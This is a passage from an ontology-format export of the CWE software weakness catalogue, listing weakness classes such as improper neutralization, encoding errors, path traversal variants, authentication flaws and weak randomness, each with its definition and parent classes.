definition: Quotes injected into a product can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.
subclass of: CWE-138

External Control of System or Configuration Setting
type: Class
cwe-id: CWE-15
definition: One or more system settings or configuration elements can be externally controlled by a user.
subclass of: CWE-610
subclass of: CWE-642

Improper Neutralization of Escape, Meta, or Control Sequences
type: Class
cwe-id: CWE-150
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.
subclass of: CWE-138

Improper Neutralization of Comment Delimiters
type: Class
cwe-id: CWE-151
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.
subclass of: CWE-138

Improper Neutralization of Macro Symbols
type: Class
cwe-id: CWE-152
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.
subclass of: CWE-138

Improper Neutralization of Substitution Characters
type: Class
cwe-id: CWE-153
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.
subclass of: CWE-138

Improper Neutralization of Variable Name Delimiters
type: Class
cwe-id: CWE-154
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.
subclass of: CWE-138

Improper Neutralization of Whitespace
type: Class
cwe-id: CWE-156
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.
synonym: White space
subclass of: CWE-138

Failure to Sanitize Paired Delimiters
type: Class
cwe-id: CWE-157
definition: The product does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.
subclass of: CWE-138

Improper Neutralization of Null Byte or NUL Character
type: Class
cwe-id: CWE-158
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.
subclass of: CWE-138

Improper Handling of Missing Special Element
type: Class
cwe-id: CWE-166
definition: The product receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.
subclass of: CWE-159
subclass of: CWE-228
subclass of: CWE-703

Improper Handling of Additional Special Element
type: Class
cwe-id: CWE-167
definition: The product receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is provided.
subclass of: CWE-159
subclass of: CWE-228
subclass of: CWE-703

Improper Handling of Inconsistent Special Elements
type: Class
cwe-id: CWE-168
definition: The product does not properly handle input in which an inconsistency exists between two or more special characters or reserved words.
subclass of: CWE-159
subclass of: CWE-228
subclass of: CWE-703

Improper Null Termination
type: Class
cwe-id: CWE-170
definition: The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
subclass of: CWE-707

Improper Handling of Alternate Encoding
type: Class
cwe-id: CWE-173
definition: The product does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.
subclass of: CWE-172

Double Decoding of the Same Data
type: Class
cwe-id: CWE-174
definition: The product decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.
subclass of: CWE-172
subclass of: CWE-675

Improper Handling of Mixed Encoding
type: Class
cwe-id: CWE-175
definition: The product does not properly handle when the same input uses several different (mixed) encodings.
subclass of: CWE-172

Improper Handling of Unicode Encoding
type: Class
cwe-id: CWE-176
definition: The product does not properly handle when an input contains Unicode encoding.
subclass of: CWE-172

Improper Handling of URL Encoding (Hex Encoding)
type: Class
cwe-id: CWE-177
definition: The product does not properly handle when all or part of an input has been URL encoded.
subclass of: CWE-172

Improper Handling of Case Sensitivity
type: Class
cwe-id: CWE-178
definition: The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
subclass of: CWE-706

Incorrect Behavior Order: Validate Before Canonicalize
type: Class
cwe-id: CWE-180
definition: The product validates input before it is canonicalized, which prevents the product from detecting data that becomes invalid after the canonicalization step.
subclass of: Incorrect Behavior Order: Early Validation

Incorrect Behavior Order: Validate Before Filter
type: Class
cwe-id: CWE-181
definition: The product validates data before it has been filtered, which prevents the product from detecting data that becomes invalid after the filtering step.
synonym: Validate-before-cleanse
subclass of: Incorrect Behavior Order: Early Validation

Collapse of Data into Unsafe Value
type: Class
cwe-id: CWE-182
definition: The product filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.
subclass of: CWE-693
subclass of: CWE-707

Overly Restrictive Regular Expression
type: Class
cwe-id: CWE-186
definition: A regular expression is overly restrictive, which prevents dangerous values from being detected.
subclass of: Incorrect Regular Expression

Partial String Comparison
type: Class
cwe-id: CWE-187
definition: The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.
subclass of: CWE-1023

Integer Underflow (Wrap or Wraparound)
type: Class
cwe-id: CWE-191
definition: The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.
synonym: Integer underflow
subclass of: CWE-682

Integer Coercion Error
type: Class
cwe-id: CWE-192
definition: Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.
subclass of: CWE-681

Off-by-one Error
type: Class
cwe-id: CWE-193
definition: A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.
synonym: off-by-five
subclass of: CWE-682

Unexpected Sign Extension
type: Class
cwe-id: CWE-194
definition: The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
subclass of: CWE-681

Signed to Unsigned Conversion Error
type: Class
cwe-id: CWE-195
definition: The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
subclass of: CWE-681

Unsigned to Signed Conversion Error
type: Class
cwe-id: CWE-196
definition: The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
subclass of: CWE-681

Numeric Truncation Error
type: Class
cwe-id: CWE-197
definition: Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
subclass of: CWE-681

Use of Incorrect Byte Ordering
type: Class
cwe-id: CWE-198
definition: The product receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.
subclass of: Reliance on Data/Memory Layout

Exposure of Sensitive Information Through Data Queries
type: Class
cwe-id: CWE-202
definition: When trying to keep information confidential, an attacker can often infer some of the information by using statistics.
subclass of: Exposure of Sensitive Information Through Metadata

Observable Response Discrepancy
type: Class
cwe-id: CWE-204
definition: The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.
subclass of: CWE-203

Observable Internal Behavioral Discrepancy
type: Class
cwe-id: CWE-206
definition: The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points.
subclass of: Observable Behavioral Discrepancy

Observable Behavioral Discrepancy With Equivalent Products
type: Class
cwe-id: CWE-207
definition: The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker.
subclass of: Observable Behavioral Discrepancy

Self-generated Error Message Containing Sensitive Information
type: Class
cwe-id: CWE-210
definition: The product identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.
subclass of: CWE-209

Exposure of Sensitive Information Due to Incompatible Policies
type: Class
cwe-id: CWE-213
definition: The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed.
subclass of: CWE-200

Invocation of Process Using Visible Sensitive Information
type: Class
cwe-id: CWE-214
definition: A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.
subclass of: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Insertion of Sensitive Information Into Debugging Code
type: Class
cwe-id: CWE-215
definition: The product inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production.
subclass of: CWE-200

Storage of File With Sensitive Data Under FTP Root
type: Class
cwe-id: CWE-220
definition: The product stores sensitive data under the FTP server root with insufficient access control, which might make it accessible to untrusted parties.
subclass of: CWE-552

Truncation of Security-relevant Information
type: Class
cwe-id: CWE-222
definition: The product truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.
subclass of: CWE-221

Obscured Security-relevant Information by Alternate Name
type: Class
cwe-id: CWE-224
definition: The product records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.
subclass of: CWE-221

Improper Handling of Missing Values
type: Class
cwe-id: CWE-230
definition: The product does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.
subclass of: CWE-229

Improper Handling of Extra Values
type: Class
cwe-id: CWE-231
definition: The product does not handle or incorrectly handles when more values are provided than expected.
subclass of: CWE-229

Improper Handling of Undefined Values
type: Class
cwe-id: CWE-232
definition: The product does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.
subclass of: CWE-229

Failure to Handle Missing Parameter
type: Class
cwe-id: CWE-234
definition: If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.
subclass of: CWE-233

Improper Handling of Extra Parameters
type: Class
cwe-id: CWE-235
definition: The product does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.
subclass of: CWE-233

Improper Handling of Undefined Parameters
type: Class
cwe-id: CWE-236
definition: The product does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.
subclass of: CWE-233

Improper Handling of Incomplete Structural Elements
type: Class
cwe-id: CWE-238
definition: The product does not handle or incorrectly handles when a particular structural element is not completely specified.
subclass of: CWE-237

Failure to Handle Incomplete Element
type: Class
cwe-id: CWE-239
definition: The product does not properly handle when a particular element is not completely specified.
subclass of: CWE-237

Path Traversal: '../filedir'
type: Class
cwe-id: CWE-24
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Improper Handling of Unexpected Data Type
type: Class
cwe-id: CWE-241
definition: The product does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).
subclass of: CWE-228

Use of Inherently Dangerous Function
type: Class
cwe-id: CWE-242
definition: The product calls a function that can never be guaranteed to work safely.
subclass of: Use of Prohibited Code

Creation of chroot Jail Without Changing Working Directory
type: Class
cwe-id: CWE-243
definition: The product uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.
subclass of: CWE-573
subclass of: CWE-669

Improper Clearing of Heap Memory Before Release ('Heap Inspection')
type: Class
cwe-id: CWE-244
definition: Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.
subclass of: CWE-226

J2EE Bad Practices: Direct Management of Connections
type: Class
cwe-id: CWE-245
definition: The J2EE application directly manages connections, instead of using the container's connection management facilities.
subclass of: CWE-695

J2EE Bad Practices: Direct Use of Sockets
type: Class
cwe-id: CWE-246
definition: The J2EE application directly uses sockets instead of using framework method calls.
subclass of: CWE-695

Path Traversal: '/../filedir'
type: Class
cwe-id: CWE-25
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Execution with Unnecessary Privileges
type: Class
cwe-id: CWE-250
definition: The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
subclass of: CWE-269
subclass of: CWE-657

Incorrect Check of Function Return Value
type: Class
cwe-id: CWE-253
definition: The product incorrectly checks a return value from a function, which prevents it from detecting errors or exceptional conditions.
subclass of: CWE-573
subclass of: CWE-754

Plaintext Storage of a Password
type: Class
cwe-id: CWE-256
definition: Storing a password in plaintext may result in a system compromise.
subclass of: CWE-522

Storing Passwords in a Recoverable Format
type: Class
cwe-id: CWE-257
definition: The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.
subclass of: CWE-522

Empty Password in Configuration File
type: Class
cwe-id: CWE-258
definition: Using an empty string as a password is insecure.
subclass of: CWE-260
subclass of: Weak Password Requirements

Use of Hard-coded Password
type: Class
cwe-id: CWE-259
definition: The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
subclass of: CWE-798

Path Traversal: '/dir/../filename'
type: Class
cwe-id: CWE-26
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Weak Encoding for Password
type: Class
cwe-id: CWE-261
definition: Obscuring a password with a trivial encoding does not protect the password.
subclass of: CWE-522

Not Using Password Aging
type: Class
cwe-id: CWE-262
definition: The product does not have a mechanism in place for managing password aging.
subclass of: CWE-1390

Password Aging with Long Expiration
type: Class
cwe-id: CWE-263
definition: The product supports password aging, but the expiration period is too long.
subclass of: CWE-1390

Privilege Chaining
type: Class
cwe-id: CWE-268
definition: Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.
subclass of: CWE-269

Path Traversal: 'dir/../../filename'
type: Class
cwe-id: CWE-27
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Privilege Context Switching Error
type: Class
cwe-id: CWE-270
definition: The product does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.
subclass of: CWE-269

Least Privilege Violation
type: Class
cwe-id: CWE-272
definition: The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.
subclass of: Privilege Dropping / Lowering Errors

Improper Check for Dropped Privileges
type: Class
cwe-id: CWE-273
definition: The product attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.
subclass of: Privilege Dropping / Lowering Errors
subclass of: CWE-754

Improper Handling of Insufficient Privileges
type: Class
cwe-id: CWE-274
definition: The product does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.
subclass of: CWE-269
subclass of: CWE-755

Incorrect Default Permissions
type: Class
type: NamedIndividual
cwe-id: CWE-276
definition: During installation, installed file permissions are set to allow anyone to modify those files.
weakness-of: Application Installer
subclass of: Restriction
  on property: weakness-of
  some values from: Application Installer
subclass of: CWE-732

Insecure Inherited Permissions
type: Class
cwe-id: CWE-277
definition: A product defines a set of insecure permissions that are inherited by objects that are created by the program.
subclass of: CWE-732

Insecure Preserved Inherited Permissions
type: Class
cwe-id: CWE-278
definition: A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.
subclass of: CWE-732

Incorrect Execution-Assigned Permissions
type: Class
cwe-id: CWE-279
definition: While it is executing, the product sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.
subclass of: CWE-732

Path Traversal: '..\filedir'
type: Class
cwe-id: CWE-28
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Improper Handling of Insufficient Permissions or Privileges
type: Class
cwe-id: CWE-280
definition: The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state.
subclass of: CWE-755

Improper Preservation of Permissions
type: Class
cwe-id: CWE-281
definition: The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.
subclass of: CWE-732

Unverified Ownership
type: Class
cwe-id: CWE-283
definition: The product does not properly verify that a critical resource is owned by the proper entity.
subclass of: Improper Ownership Management

Authentication Bypass by Alternate Name
type: Class
cwe-id: CWE-289
definition: The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
subclass of: CWE-1390

Path Traversal: '\..\filename'
type: Class
cwe-id: CWE-29
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Reliance on IP Address for Authentication
type: Class
cwe-id: CWE-291
definition: The product uses an IP address for authentication.
subclass of: CWE-290
subclass of: CWE-471
subclass of: CWE-923

Using Referer Field for Authentication
type: Class
cwe-id: CWE-293
definition: The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.
synonym: referrer
subclass of: CWE-290

Authentication Bypass by Capture-replay
type: Class
cwe-id: CWE-294
definition: A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).
subclass of: CWE-1390

Improper Following of a Certificate's Chain of Trust
type: Class
cwe-id: CWE-296
definition: The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.
subclass of: CWE-295
subclass of: CWE-573

Improper Validation of Certificate with Host Mismatch
type: Class
cwe-id: CWE-297
definition: The product communicates with a host that provides a certificate, but the product does not properly ensure that the certificate is actually associated with that host.
subclass of: CWE-295
subclass of: CWE-923

Improper Validation of Certificate Expiration
type: Class
cwe-id: CWE-298
definition: A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.
subclass of: CWE-295
subclass of: CWE-672

Path Traversal: '\dir\..\filename'
type: Class
cwe-id: CWE-30
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Channel Accessible by Non-Endpoint
type: Class
cwe-id: CWE-300
definition: The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.
synonym: Adversary-in-the-Middle / AITM
synonym: Interception attack
synonym: Man-in-the-Middle / MITM
synonym: Manipulator-in-the-Middle
synonym: Monkey-in-the-Middle
synonym: Monster-in-the-Middle
synonym: On-path attack
synonym: Person-in-the-Middle / PITM
subclass of: CWE-923

Reflection Attack in an Authentication Protocol
type: Class
cwe-id: CWE-301
definition: Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.
subclass of: CWE-1390

Authentication Bypass by Assumed-Immutable Data
type: Class
cwe-id: CWE-302
definition: The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.
subclass of: CWE-1390
subclass of: CWE-807

Missing Critical Step in Authentication
type: Class
cwe-id: CWE-304
definition: The product implements an authentication technique, but it skips a step that weakens the technique.
subclass of: Incorrect Implementation of Authentication Algorithm
subclass of: CWE-573

Authentication Bypass by Primary Weakness
type: Class
cwe-id: CWE-305
definition: The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.
subclass of: CWE-1390

Improper Restriction of Excessive Authentication Attempts
type: Class
cwe-id: CWE-307
definition: The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.
subclass of: CWE-1390
subclass of: Improper Control of Interaction Frequency

Use of Single-factor Authentication
type: Class
cwe-id: CWE-308
definition: The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.
subclass of: CWE-1390
subclass of: Reliance on a Single Factor in a Security Decision

Use of Password System for Primary Authentication
type: Class
cwe-id: CWE-309
definition: The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.
subclass of: CWE-1390
subclass of: Reliance on a Single Factor in a Security Decision

Path Traversal: 'dir\..\..\filename'
type: Class
cwe-id: CWE-31
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Cleartext Storage in a File or on Disk
type: Class
cwe-id: CWE-313
definition: The product stores sensitive information in cleartext in a file, or on disk.
subclass of: CWE-312

Cleartext Storage in the Registry
type: Class
cwe-id: CWE-314
definition: The product stores sensitive information in cleartext in the registry.
subclass of: CWE-312

Cleartext Storage of Sensitive Information in a Cookie
type: Class
cwe-id: CWE-315
definition: The product stores sensitive information in cleartext in a cookie.
subclass of: CWE-312

Cleartext Storage of Sensitive Information in Memory
type: Class
cwe-id: CWE-316
definition: The product stores sensitive information in cleartext in memory.
subclass of: CWE-312

Cleartext Storage of Sensitive Information in GUI
type: Class
cwe-id: CWE-317
definition: The product stores sensitive information in cleartext within the GUI.
subclass of: CWE-312

Cleartext Storage of Sensitive Information in Executable
type: Class
cwe-id: CWE-318
definition: The product stores sensitive information in cleartext in an executable.
subclass of: CWE-312

Path Traversal: '...' (Triple Dot)
type: Class
cwe-id: CWE-32
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Use of Hard-coded Cryptographic Key
type: Class
cwe-id: CWE-321
definition: The product uses a hard-coded, unchangeable cryptographic key.
subclass of: CWE-798

Key Exchange without Entity Authentication
type: Class
cwe-id: CWE-322
definition: The product performs a key exchange with an actor without verifying the identity of that actor.
subclass of: Missing Authentication for Critical Function

Reusing a Nonce, Key Pair in Encryption
type: Class
cwe-id: CWE-323
definition: Nonces should be used for the present occasion and only once.
subclass of: CWE-344

Use of a Key Past its Expiration Date
type: Class
cwe-id: CWE-324
definition: The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.
subclass of: CWE-672

Missing Cryptographic Step
type: Class
cwe-id: CWE-325
definition: The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.
subclass of: CWE-573

Generation of Predictable IV with CBC Mode
type: Class
cwe-id: CWE-329
definition: The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.
subclass of: Generation of Weak Initialization Vector (IV)
subclass of: CWE-573

Path Traversal: '....' (Multiple Dot)
type: Class
cwe-id: CWE-33
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Insufficient Entropy in PRNG
type: Class
cwe-id: CWE-332
definition: The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.
subclass of: Insufficient Entropy

Improper Handling of Insufficient Entropy in TRNG
type: Class
cwe-id: CWE-333
definition: True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.
subclass of: Insufficient Entropy
subclass of: CWE-703
subclass of: CWE-755

Same Seed in Pseudo-Random Number Generator (PRNG)
type: Class
cwe-id: CWE-336
definition: A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.
subclass of: CWE-335

Predictable Seed in Pseudo-Random Number Generator (PRNG)
type: Class
cwe-id: CWE-337
definition: A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
subclass of: CWE-335

Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
type: Class
cwe-id: CWE-338
definition: The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.
subclass of: CWE-330

Small Seed Space in PRNG
type: Class
cwe-id: CWE-339
definition: A Pseudo-Random Number Generator (PRNG) uses a relatively small seed space, which makes it more susceptible to brute force attacks.
subclass of: CWE-335

Path Traversal: '....//'
type: Class
cwe-id: CWE-34
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Predictable from Observable State
type: Class
cwe-id: CWE-341
definition: A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.
subclass of: CWE-340

Predictable Exact Value from Previous Values
type: Class
cwe-id: CWE-342
definition: An exact value or random number can be precisely predicted by observing previous values.
subclass of: CWE-340

Predictable Value Range from Previous Values
type: Class
cwe-id: CWE-343
definition: The product's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.
subclass of: CWE-340

Improper Verification of Cryptographic Signature
type: Class
cwe-id: CWE-347
definition: The product does not verify, or incorrectly verifies, the cryptographic signature for data.
subclass of: CWE-345

Use of Less Trusted Source
type: Class
cwe-id: CWE-348
definition: The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.
subclass of: CWE-345

Acceptance of Extraneous Untrusted Data With Trusted Data
type: Class
cwe-id: CWE-349
definition: The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
subclass of: CWE-345

Path Traversal: '.../...//'
type: Class
cwe-id: CWE-35
definition: The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.
subclass of: CWE-23

Reliance on Reverse DNS Resolution for a Security-Critical Action
type: Class
cwe-id: CWE-350
definition: The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.
subclass of: CWE-290
subclass of: CWE-807

Insufficient Type Distinction
type: Class
cwe-id: CWE-351
definition: The product does not properly distinguish between different types of elements in a way that leads to insecure behavior.
subclass of: CWE-345

Cross-Site Request Forgery (CSRF)
type: Class
type: NamedIndividual
cwe-id: CWE-352
definition: The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
synonym: CSRF
synonym: Cross Site Reference Forgery
synonym: Session Riding
synonym: XSRF
weakness-of: UserInputFunction
subclass of: Restriction
  on property: weakness-of
  some values from: UserInputFunction
subclass of: CWE-345

Missing Support for Integrity Check
type: Class
cwe-id: CWE-353
definition: The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.
subclass of: CWE-345

Improper Validation of Integrity Check Value
type: Class
cwe-id: CWE-354
definition: The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.
subclass of: CWE-345
subclass of: CWE-754

Product UI does not Warn User of Unsafe Actions
type: Class
cwe-id: CWE-356
definition: The product's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.
subclass of: CWE-221

Improperly Implemented Security Check for Standard
type: Class
cwe-id: CWE-358
definition: The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.
subclass of: CWE-573
subclass of: CWE-693

Exposure of Private Personal Information to an Unauthorized Actor
type: Class
cwe-id: CWE-359
definition: The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.
synonym: Privacy leak
synonym: Privacy leakage
synonym: Privacy violation
subclass of: CWE-200

Race Condition Enabling Link Following
type: Class
cwe-id: CWE-363
definition: The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file.
subclass of: Time-of-check Time-of-use (TOCTOU) Race Condition

Race Condition within a Thread
type: Class
cwe-id: CWE-366
definition: If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
subclass of: CWE-362

Context Switching Race Condition
type: Class
cwe-id: CWE-368
definition: A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.
subclass of: CWE-362

Divide By Zero
type: Class
cwe-id: CWE-369
definition: The product divides a value by zero.
subclass of: CWE-682

Path Traversal: '/absolute/pathname/here'
type: Class
cwe-id: CWE-37
definition: The product accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: Improper Neutralization of Leading Special Elements
subclass of: CWE-36

Missing Check for Certificate Revocation after Initial Check
type: Class
cwe-id: CWE-370
definition: The product does not check the revocation status of a certificate after its initial revocation check, which can cause the product to perform privileged actions even after the certificate is revoked at a later time.
subclass of: Improper Check for Certificate Revocation

Incomplete Internal State Distinction
type: Class
cwe-id: CWE-372
definition: The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.
subclass of: CWE-664

Passing Mutable Objects to an Untrusted Method
type: Class
cwe-id: CWE-374
definition: The product sends non-cloned mutable data as an argument to a method or function.
subclass of: CWE-668

Returning a Mutable Object to an Untrusted Caller
type: Class
cwe-id: CWE-375
definition: Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.
subclass of: CWE-668

Creation of Temporary File With Insecure Permissions
type: Class
cwe-id: CWE-378
definition: Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.
subclass of: Insecure Temporary File

Creation of Temporary File in Directory with Insecure Permissions
type: Class
cwe-id: CWE-379
definition: The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.
subclass of: Insecure Temporary File

Path Traversal: '\absolute\pathname\here'
type: Class
cwe-id: CWE-38
definition: The product accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-36

J2EE Bad Practices: Use of System.exit()
type: Class
cwe-id: CWE-382
definition: A J2EE application uses System.exit(), which also shuts down its container.
subclass of: CWE-705

J2EE Bad Practices: Direct Use of Threads
type: Class
cwe-id: CWE-383
